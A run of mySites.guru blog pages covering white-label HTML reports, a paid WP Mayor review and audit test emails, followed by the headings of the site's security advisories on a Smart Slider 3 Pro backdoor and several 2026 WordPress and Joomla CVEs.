The built-in template designer lets you modify the standard report template using HTML and Twig {{ placeholder }} tags. If you can write HTML, you can fully brand the report - change the layout, add your logo, adjust colours, restructure sections.

For more on the template designer, see our guide to creating custom white-label report templates.

Why HTML instead of PDF?

Generating PDFs that look good across all page sizes, handle variable-length data tables, and work on every device is surprisingly painful. PDFs are page-size-specific (A4 in the UK, Letter in the US), and require readers to have PDF software installed.

HTML has none of these problems:

Every email client renders HTML
HTML is responsive on mobile devices
HTML is fully customisable by you
Print stylesheets handle the "I need a hard copy" case
Reports are attached as downloadable .html files you can archive or forward

Where do you find reports in mySites.guru?

Reports live under the Scheduled Actions section in the left menu. You can also press r on your keyboard when logged in to jump straight to the reports page, or use the command palette with Cmd+K and type "reports".

How much do unlimited client reports cost?

Nothing extra. White-label reporting is included in every mySites.guru subscription at no additional charge. Same goes for every other feature - you get the full platform with unlimited sites.

Can you download and archive your reports?

Every scheduled report email includes the report as an attached HTML file. You can download it, archive it, forward it, or edit it outside of mySites.guru. You can also download report files directly from the reports page in your account using the download button.

White-label reporting is part of our agency management guide.

WP Mayor's Five-Star Review of mySites.guru for WordPress

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

In March 2024, the well-known WordPress blog WP Mayor published an independent review of mySites.guru.

We gave them complete access to the full toolset for managing multiple WordPress sites for almost a month, with full permission to write whatever they wanted.

The reviewer was Kevin Wood, who has over 10 years of WordPress experience.

Kevin liked what he saw, and goes into detail in the review. The only correction we asked for was the price currency conversion - mySites.guru is GBP 19.99 per month, roughly USD $28 for unlimited sites.

Where can you read the WP Mayor review of mySites.guru?

You can read the complete review here: mySites.guru Review on WP Mayor

This review was performed as part of a paid product analysis. Here's why you can trust their verdict.

The review covers the core mySites.guru features: managing multiple WordPress sites in one dashboard, the security audit toolset, individual site management, the WordPress site audit, uptime monitoring, mass plugin upgrades, universal user management, real-time alerting, white-label reporting, and our Learn More best-practice pages.

What are our thoughts on the review?

The review sums up the mySites.guru service well.

Handing someone free rein to write whatever they want about a project you've poured over a decade into? Nerve-wracking. But I'm pleased the features of mySites.guru and the support I provide came through.

There's always stuff to improve. I'm here day in, day out working on it, and the price hasn't changed since 2012.

Kevin noted that parts of mySites.guru can feel complex for beginners. Fair enough. It's built for digital agencies that manage dozens or hundreds of WordPress sites - not someone spinning up their first blog.

Want to try mySites.guru free for a whole month?

Get started with a free first month - no credit card required.

Want a free personal site audit of your WordPress site?

Run a free security audit on your WordPress site and see what mySites.guru finds.

Emails from AuditMailerTest@myjoomla.io

phil@mysites.guru (Phil Taylor) — Tue, 12 Apr 2022 00:00:00 GMT

Several people have noticed emails from AuditMailerTest@myjoomla.io in their Mail sent items.

At the start of every mySites.guru audit we use the Joomla/WordPress Configuration for Mail settings (whatever you have your Joomla/WordPress site configured for sending mail) to send a short email to AuditMailerTest@myjoomla.io

(myJoomla was the initial name for the mySites.guru service, before we added support for WordPress sites, at that point we changed brand to mySites.guru)

If we receive this then we flag that in the audit results as a success, if the email doesn't arrive then we flag that as a failure and something to investigate.

This is a valid test to ensure your site can send emails.

Now, the server that receives these emails is not a real SMTP server, its a PHP script that pretends its a SMTP server, converts the incoming email to JSON and sends it back to mySites.guru for processing.

If we don't receive the email then that is flagged in the mySites.guru audit - because it would mean that your Joomla/WordPress site could not send email using its configured method of sending emails... - if your site cannot send email that might mean you are losing emails! See how to diagnose and fix your email configuration for a full walkthrough.

If you can see these emails in your Mail Clients "sent items" folder it probably also means you are reusing your credentials from your mail account with your site - this is bad and should be changed - if your Joomla/WordPress site ever was hacked (like every Joomla 4 version was exploitable to expose configuration.php values, except the latest few!) then the hacker would have full control over your mail account too - gulp! Beyond configuration files, hackers often leave behind hidden dot-files you'd never spot without a dedicated scan.

Normally you would set up and use a separate outgoing mail account for your Joomla/WordPress site if needed, normally a web server can be correctly configured to send mail without sending by SMTP. Personally we recommend using a SMTP service like PostMarkApp.com which provides better outgoing deliverability and visibility of sent emails. For a complete walkthrough of SMTP settings, common mistakes, and DNS configuration, see the full guide on how to verify your Joomla email configuration.

If you are receiving bounce backs or server spam error messages - then check your outgoing mail settings - because if you are bouncing or spam flagging our emails, you are probably also flagging emails that are genuinely sent from your site.

The only way to stop these emails is to terminate your mySites.guru subscription or don't ever run another audit. I shall not be removing this valid and important part of the checks we do and adds value to the audit tools.

mySites.guru Blog

Smart Slider 3 Pro 3.5.1.35 Was a Malicious Release: Supply Chain Compromise

What Actually Happened to Smart Slider 3 Pro 3.5.1.35?

How to Check Your Sites for Smart Slider 3 Pro 3.5.1.35 with mySites.guru

What Does the Smart Slider 3 Pro 3.5.1.35 Backdoor Actually Do?

Why This Is Worse Than a Normal Vulnerability

Indicators of Compromise: How to Tell If Your Site Was Infected

1. Hidden Admin Accounts

2. Backdoor Files in Cache and Media Directories

3. Backdoor Strings in PHP Files

4. Recently Modified PHP Files

5. Theme File Modifications

6. The _wpc_ak Database Option

mySites.guru Is Already Finding the Smart Slider 3 Backdoor on Live Client Sites

How to Run the Scan and Fix Across All Your Sites

Cleanup: How to Recover an Infected Smart Slider 3 Pro Site

1. Take a Forensic Backup First

2. Update to 3.5.1.36 Immediately

3. Run the Nextend Cleanup Script

4. Delete the _wpc_ak Option

5. Reset All Credentials

6. Audit User Accounts Across the Board

7. Run a Full Security Scan

8. Enable File Change Monitoring Going Forward

9. Review Server Access Logs

Is the Joomla Version of Smart Slider 3 Pro Also Compromised?

What This Incident Tells Us About Plugin Supply Chains

Smart Slider 3 Pro 3.5.1.35 Compromise Timeline

Want Someone to Handle This for You?

Further Reading

Ninja Forms File Uploads CVE-2026-0740: The AJAX Pattern Strikes Again

What are the details of CVE-2026-0740?

How does the Ninja Forms File Uploads AJAX vulnerability work?

Why did the first Ninja Forms File Uploads patch not fix CVE-2026-0740?

Which WordPress sites run Ninja Forms File Uploads?

How do I find which of my WordPress sites are running Ninja Forms File Uploads?

Manual check (single site)

WP-CLI (handful of sites)

Bulk check with mySites.guru (unlimited sites)

What do I do if I find a WordPress site exposed to CVE-2026-0740?

How can I prevent the next WordPress plugin AJAX vulnerability from hitting my sites?

What is the broader lesson for WordPress agencies?

Further reading

4 Major WordPress Plugins Patched Security Flaws in March 2026

How Does mySites.guru Help With WordPress Plugin Vulnerabilities?

What Got Patched?

Elementor - Sensitive Data Exposure (CVE-2026-1206)

Yoast SEO - Stored Cross-Site Scripting (CVE-2026-3427)

WPForms - Sensitive Data Exposure (CVE-2026-25339)

Really Simple Security - Broken Access Control (CVE-2026-32461)

Why Did These All Land in the Same Month?

How to Check If Your Sites Are Patched

Manual Check (Single Site)

Bulk Check With mySites.guru (Unlimited Sites)

WP-CLI Check (Command Line)

What to Do After Updating

Are Auto-Updates Enough?

Further Reading

AJAX Endpoints Are A Big CMS Security Blind Spot

What makes AJAX endpoints so dangerous?

What is the difference between authentication and authorization?

Why did Joomla's own team have to harden com_ajax?

What does the actual Joomla fix look like?

The official Joomla docs still teach this insecure pattern

How does WordPress handle this differently?

Which five incidents prove the AJAX frontdoor security lax pattern?

Astroid Framework for Joomla (CVE-2026-21628, CVSS 10.0)

Novarain Framework for Joomla (CVE-2026-21627, CVSS 9.5)

Smart Slider 3 for WordPress (CVE-2026-3098, CVSS 6.5)

Joomla core com_ajax ACL hardening (CVE-2026-21629)

Joomla webservice endpoint access bypass (CVE-2026-23899)

Is this just a March 2026 problem?

What should extension developers be doing better?

Always authorize, never just authenticate

Never trust the framework to do your security for you

Register the minimum access level

Validate and sanitize all input

Audit your existing AJAX handlers

What else was fixed in Joomla 5.4.4?

How does mySites.guru help when vulnerabilities like these drop?

6. The `_wpc_ak` Database Option

4. Delete the `_wpc_ak` Option

You Must Disable `plg_behaviour_compat` Before Upgrading to Joomla 6